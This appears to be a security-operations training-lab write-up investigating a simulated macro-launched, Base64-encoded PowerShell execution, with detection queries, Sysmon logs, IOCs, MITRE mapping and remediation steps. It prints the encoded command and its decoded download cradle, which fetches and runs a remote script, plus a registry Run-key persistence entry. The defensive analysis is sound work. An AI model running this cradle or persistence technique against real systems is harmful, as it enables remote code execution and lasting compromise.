Investigating Suspicious Encoded PowerShell Execution
Triage and root-cause analysis of an alert indicating an obfuscated Base64 PowerShell execution spawned by Microsoft Office in an isolated Windows endpoint.
Environment: Training Lab — This investigation was performed in an isolated training environment. Indicators, systems, accounts, and other data shown here are simulated or sanitized unless otherwise stated.
- Verified process lineage: WINWORD.EXE -> cmd.exe -> powershell.exe with -EncodedCommand.
- Decoded Base64 payload in CyberChef: identified Net.WebClient download cradle to 192.168.40.205:8080.
- Confirmed established network socket via Sysmon Event 3 (4,812 bytes received).
- Applied host network containment via PowerShell Netsh isolation script (restricting communication to SOC management subnet).
- Quarantined dropped artifact C:\Users\jdoe\AppData\Local\Temp\update_check.vbs and purged HKCU Run persistence key (Sysmon 13).
Executive Summary
A Tier-1 SIEM alert flagged an obfuscated PowerShell execution on workstation WKSTN-0442. Log analysis confirmed WINWORD.EXE spawned cmd.exe which in turn initiated powershell.exe with -EncodedCommand parameters. Decoding the Base64 payload revealed an attempt to download an external staging file and query local network adapters. The activity was classified as a True Positive simulated malicious macro execution.
Scenario & Trigger
A user in the Finance department opened an unsolicited email attachment labeled "Invoice_Q3_9942.docx". The document triggered a macro that executed a staged command. Telemetry was forwarded to the lab Splunk indexer via Windows Event Forwarding and Sysmon.
index=endpoint_winevt EventCode=1 (Image="*\\powershell.exe" OR Image="*\\pwsh.exe") (CommandLine="*-EncodedCommand*" OR CommandLine="*-enc *") (ParentImage="*\\cmd.exe" OR ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe") | table _time, ComputerName, User, ParentImage, ParentCommandLine, CommandLineDetection Logic & Queries (Splunk SPL & Microsoft Sentinel KQL)
index=endpoint_winevt EventCode=1 (Image="*\\powershell.exe" OR Image="*\\pwsh.exe") (CommandLine="*-EncodedCommand*" OR CommandLine="*-enc *") (ParentImage="*\\cmd.exe" OR ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe") | table _time, ComputerName, User, ParentImage, ParentCommandLine, CommandLineDeviceProcessEvents | where FileName in~ ("powershell.exe", "pwsh.exe") | where ProcessCommandLine has_any ("-EncodedCommand", "-enc", "-ec") | where InitiatingProcessFileName in~ ("cmd.exe", "winword.exe", "excel.exe") | project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessCommandLineInitial Evidence
- Endpoint: WKSTN-0442.corp.local (192.168.40.108)
- Account: corp\jdoe (Standard User)
- Process: powershell.exe (PID: 6492)
- Parent Process: cmd.exe (PID: 3812), spawned by WINWORD.EXE (PID: 5120)
- Execution Parameter: -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=
Investigation Methodology & Narrative
Step 1: Retrieved Sysmon Event ID 1 (Process Create) for PID 6492 from Splunk index. Verified the parent-child relationship (WINWORD.EXE -> cmd.exe -> powershell.exe). Office executing script interpreters is anomalous for this user role.
Step 2: Extracted the base64 string and decoded the UTF-16LE payload in CyberChef. Decoded command: "IEX (New-Object Net.WebClient).DownloadString('http://192.168.40.205:8080/stage.ps1')".
Step 3: Correlated with Sysmon Event ID 3 (Network Connection). Powershell.exe initiated an outbound TCP connection to destination 192.168.40.205 on port 8080 at 14:22:20 UTC. State: Established. 4,812 bytes received.
Step 4: Checked host file system events (Sysmon Event ID 11). A script dropped a temporary file at C:\Users\jdoe\AppData\Local\Temp\update_check.vbs at 14:22:25 UTC.
Step 5: Correlated with Sysmon Event ID 13 (Registry Value Set). Identified HKCU\Software\Microsoft\Windows\CurrentVersion\Run key "SecurityHealthUpdate" set to execute update_check.vbs upon logon.
Step 6: Searched proxy logs for external egress to the staging IP. The IP is an internal test adversary node; no outbound internet exfiltration was detected.
Incident Timeline
| Time (UTC) | Event | Telemetry Source | Analyst Note |
|---|---|---|---|
| 14:21:40 UTC | WINWORD.EXE launched by user corp\jdoe | Sysmon Event ID 1 | User opened Invoice_Q3_9942.docx from Outlook attachment cache |
| 14:22:15 UTC | cmd.exe spawned by WINWORD.EXE | Sysmon Event ID 1 | VBA macro automated execution without prompt (macros enabled in lab setting) |
| 14:22:18 UTC | powershell.exe executed with -EncodedCommand | Sysmon Event ID 1 | Obfuscated payload attempting download cradle |
| 14:22:20 UTC | Outbound TCP connection to 192.168.40.205:8080 | Sysmon Event ID 3 | Downloaded stage.ps1 script payload (4,812 bytes) |
| 14:22:25 UTC | File drop update_check.vbs in user AppData\Local\Temp | Sysmon Event ID 11 | Secondary persistence script created |
| 14:22:26 UTC | Registry Run Key Set: HKCU Run\SecurityHealthUpdate | Sysmon Event ID 13 | Autostart execution persistence established pointing to update_check.vbs |
| 14:24:00 UTC | SOC Analyst isolated host WKSTN-0442 from network | Host Isolation Script | Applied Netsh firewall containment script blocking all egress except SOC management subnet |
Indicators of Compromise (IOCs)
| Type | Observed Value | Context | Reputation |
|---|---|---|---|
| IPv4 | 192.168.40.205 | Staging web server hosting stage.ps1 (Lab Adversary IP) | Suspicious |
| File Name | Invoice_Q3_9942.docx | Malicious Office document carrying weaponized macro | Malicious |
| SHA-256 | 755b3e12a2dc4745b15586a4c8cb43be809f4465875762dade02c6f7a847fafb | Verified SHA-256 hash of dropped update_check.vbs artifact | Malicious |
| URL | hxxp://192.168.40.205:8080/stage.ps1 | Staged payload URL invoked by download cradle | Malicious |
Log Analysis & Telemetry Dissection
EventCode=1
UtcTime: 2026-09-12 14:22:18.412
ProcessGuid: {87d3a014-22d2-66e2-7c01-000000000c00}
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=
CurrentDirectory: C:\Users\jdoe\Documents\
User: CORP\jdoe
ParentProcessGuid: {87d3a014-22ce-66e2-7b01-000000000c00}
ParentProcessId: 3812
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -NonInteractive ...Analysis Note: Documents the child process creation with bypass execution policy and encoded command line parameters.
EventCode=3
UtcTime: 2026-09-12 14:22:20.104
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
User: CORP\jdoe
Protocol: tcp
Initiated: true
SourceIp: 192.168.40.108
SourcePort: 51842
DestinationIp: 192.168.40.205
DestinationPort: 8080Analysis Note: Proves powershell.exe established an active network socket to the adversary test server on port 8080.
EventCode=13
UtcTime: 2026-09-12 14:22:26.018
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetObject: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthUpdate
Details: "wscript.exe C:\Users\jdoe\AppData\Local\Temp\update_check.vbs"Analysis Note: Validates MITRE ATT&CK T1547.001 persistence via registry Run key pointing to dropped VBS stager.
MITRE ATT&CK Mapping
| ID | Technique | Tactic | Observed Evidence |
|---|---|---|---|
| T1059.001 | Command and Scripting Interpreter: PowerShell | Execution | Execution of powershell.exe with -EncodedCommand parameter |
| T1204.002 | User Execution: Malicious File | Execution | User opened macro-enabled Word document from email cache |
| T1105 | Ingress Tool Transfer | Command and Control | Net.WebClient DownloadString pulling stage.ps1 from remote socket |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | Persistence | Registry Run key SecurityHealthUpdate set via Sysmon Event 13 pointing to update_check.vbs |
Findings & Final Classification
Recommended SOC Response & Hardening
- •Isolate endpoint WKSTN-0442 from the corporate LAN via host firewall or containment script.
- •Terminate process tree PID 6492 and associated child threads.
- •Remove dropped artifact C:\Users\jdoe\AppData\Local\Temp\update_check.vbs and delete HKCU Run key.
- •Block destination IP 192.168.40.205 at the perimeter firewall and web proxy.
- •Purge Invoice_Q3_9942.docx from user mailboxes across Microsoft 365 Exchange.
- •Enforce Attack Surface Reduction (ASR) rule "Block Office applications from creating child processes" (GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A).
Key Takeaways
• Parent-child process trees provide immediate fidelity: Office documents should rarely spawn command shells.
• De-obfuscating Base64 commands using CyberChef is faster and safer than running them in any interactive terminal.
• Correlation between Process Create (Event ID 1) and Network Connection (Event ID 3) confirms whether a download cradle succeeded in pulling remote instructions.